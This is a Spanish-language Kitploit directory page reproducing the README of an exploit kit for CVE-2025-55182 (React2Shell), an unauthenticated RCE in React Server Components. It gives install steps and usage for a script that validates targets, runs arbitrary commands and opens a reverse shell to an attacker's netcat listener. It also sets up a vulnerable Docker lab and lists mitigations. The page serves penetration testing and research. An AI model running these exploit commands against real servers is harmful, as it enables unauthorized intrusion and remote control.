Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182 — Un sencillo kit de herramientas para validar, explotar y obtener un shell interactivo mediante el RCE de Next.js react2Shell. | Kitploit
Herramientas/GitHubGitHub/j4ck3lsyn-gen2/cve-2025-55182
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubj4ck3lsyn-gen2/cve-2025-55182

CVE-2025-55182

Un sencillo kit de herramientas para validar, explotar y obtener un shell interactivo mediante el RCE de Next.js react2Shell.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182: React2Shell - Kit de ejecución remota de código para Next.js

CVE-2025-55182 CVSS License

[!WARNING] Esta herramienta se proporciona únicamente para pruebas autorizadas y fines educativos. El acceso no autorizado a redes y la exfiltración de datos son ilegales. Los usuarios son responsables de asegurarse de contar con la autorización adecuada antes de usar esta herramienta en cualquier red.

Descripción general

Este repositorio contiene un kit simple para validar, explotar y obtener un shell interactivo a través de CVE-2025-55182, también conocida como React2Shell. Se trata de una vulnerabilidad crítica de ejecución remota de código (RCE) previa a la autenticación en React Server Components (RSC) que afecta a las versiones 19.0.0, 19.1.0, 19.1.1 y 19.2.0.

La vulnerabilidad se origina por una deserialización insegura en el protocolo Flight de React, lo que permite a atacantes no autenticados ejecutar código arbitrario en servidores vulnerables. Fue divulgada el 3 de diciembre de 2025 y tiene una puntuación CVSS de 10.0 (Crítica). Aunque afecta principalmente a React Server Components, tiene implicaciones para frameworks como Next.js que utilizan RSC.

Nota: Este kit está destinado únicamente a fines educativos y de investigación. La explotación no autorizada de vulnerabilidades es ilegal y poco ética. Úsalo con responsabilidad y solo en sistemas que poseas o para los que tengas permiso explícito de prueba.

Componentes afectados

  • React Server Components: Versiones 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Frameworks relacionados: Next.js (potencialmente a través de CVE-2025-66478 en algunos contextos)
  • Vector de explotación: Deserialización insegura en payloads de RSC, que permite RCE sin autenticación.

Para más detalles, consulta los avisos oficiales:

  • NVD CVE-2025-55182
  • Aviso de seguridad de React
  • Blog de Wiz sobre React2Shell

Uso


Características

  • Validación: Comprueba si un objetivo es vulnerable a CVE-2025-55182.
  • Explotación: Crea payloads para ejecutar comandos arbitrarios.
  • Shell interactivo: Obtén una reverse shell para acceso persistente.
  • Compatible con Python 3.x y dependencias mínimas.

Requisitos

  • Python 3.8+
  • Bibliotecas necesarias: requests, argparse (instala con pip install -r requirements.txt)

Instalación

Instalación con Venv

  1. Clona el repositorio
root@kitploit:~
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
  1. Entorno virtual
root@kitploit:~
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
  1. Actívalo
root@kitploit:~
source CVE202555182Venv/bin/activate[.fish]

Instalación local

  1. Clona el repositorio:
    root@kitploit:~
    git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
    cd CVE-2025-55182
    
  2. Instala las dependencias:
    root@kitploit:~
    pip install -r requirements.txt
    

Uso

El script principal es sploit.py. Ejecútalo con las siguientes opciones:

root@kitploit:~
python sploit.py --help

Opciones

  • --target <URL>: La URL objetivo (p. ej., http://vulnerable-site.com).
  • --mode <validate|sploit|shell>: Modo de operación.
    • validate: Comprueba la vulnerabilidad sin explotación.
    • sploit: Ejecuta un comando personalizado.
    • shell: Establece una reverse shell interactiva.
  • --command <CMD>: Comando a ejecutar (obligatorio para el modo sploit).
  • --lhost <IP>: Host local para la reverse shell (obligatorio para el modo shell).
  • --lport <PORT>: Puerto local para la reverse shell (por defecto: 4444).

Ejemplos

  1. Validar la vulnerabilidad:

    root@kitploit:~
    python sploit.py --target http://example.com --mode validate
    
  2. Explotación con ejecución de comandos:

    root@kitploit:~
    python sploit.py --target http://example.com --mode sploit --command "whoami"
    
  3. Obtener un shell interactivo: Primero, configura un listener (p. ej., nc -lvnp 4444), luego:

    root@kitploit:~
    python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
    

Cómo funciona

  1. Detección de vulnerabilidad: Envía un payload RSC especialmente diseñado para detectar fallos de deserialización.
  2. Creación del payload: Usa deserialización insegura para inyectar código a través del protocolo Flight de React.
  3. Acceso al shell: Escala a una reverse shell ejecutando un payload que se conecta de vuelta a la máquina del atacante.

Para análisis técnicos en profundidad:

  • Análisis de Datadog Security Labs
  • Blog de Dynatrace

Ejemplo de ejecución


Instalación con Docker

root@kitploit:~

{
  "dependencies": {
    "next": "14.3.0-canary.77",
    "react": "19.0.0",
    "react-dom": "19.0.0"
  },
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start"
  }
}

Elimina tsconfig.json por completo (esta era la clave que rompía la compilación)

root@kitploit:~

rm tsconfig.json

Crea los archivos mínimos requeridos de App Router

root@kitploit:~

mkdir -p app

# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";

export default function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    <html lang="en">
      <body>{children}</body>
    </html>
  );
}

app/globals.css (puede estar básicamente vacío)

root@kitploit:~
echo "/* minimal css - required by Next.js */" > app/globals.css

app/page.tsx (tu página vulnerable real va aquí – ejemplo stub)

root@kitploit:~
cat > app/page.tsx << 'EOF'
export default function Home() {
  return (
    <main>
      <h1>react2shell lab is running!</h1>
      <p>Start sploiting → /api/vulnerable-endpoint</p>
    </main>
  );
}

Crea el Dockerfile definitivo a prueba de balas (contenido exacto)

root@kitploit:~

FROM node:20-alpine

WORKDIR /app

# Copy only package files first (better caching)
COPY package*.json ./

# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps

# Copy the rest of the app
COPY . .

# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json

# Build the Next.js app
RUN npm run build

# Expose port
EXPOSE 3000

# Start the app
CMD ["npm", "start"]

Compilar y ejecutar (estos comandos ahora funcionan perfectamente)

root@kitploit:~

docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell

Abrir en el navegador

→ http://localhost:3000Ya está. El contenedor arranca en <2 segundos y está listo para cadenas de prototype pollution → RCE.Línea opcional para eliminar y reiniciar en cualquier momento:bash

root@kitploit:~
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell

Mitigación

  • Actualiza React a la versión 19.2.1 o posterior.
  • Desactiva o restringe React Server Components si no es necesario.
  • Supervisa los intentos de explotación, ya que se ha observado que actores patrocinados por estados (p. ej., grupos vinculados a China) atacan esta CVE rápidamente.

Consulta el blog de seguridad de AWS para inteligencia de amenazas.

Aviso legal

Esta herramienta se proporciona "tal cual", sin garantía. El autor no es responsable de ningún uso indebido o daño causado por este kit. Obtén siempre permiso antes de probar vulnerabilidades.

Contribuciones

¡Las pull requests son bienvenidas! Para cambios importantes, abre primero un issue.

Licencia

Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.

Referencias

  • Aviso de Cisco
  • Informe de Palo Alto Unit 42
  • Noticias de CMU ISO
  • Blog de Cloudflare
  • Blog de Huntress
  • Blog de JFrog
  • Elastic Security
Tu insignia de imagen
Descargar herramienta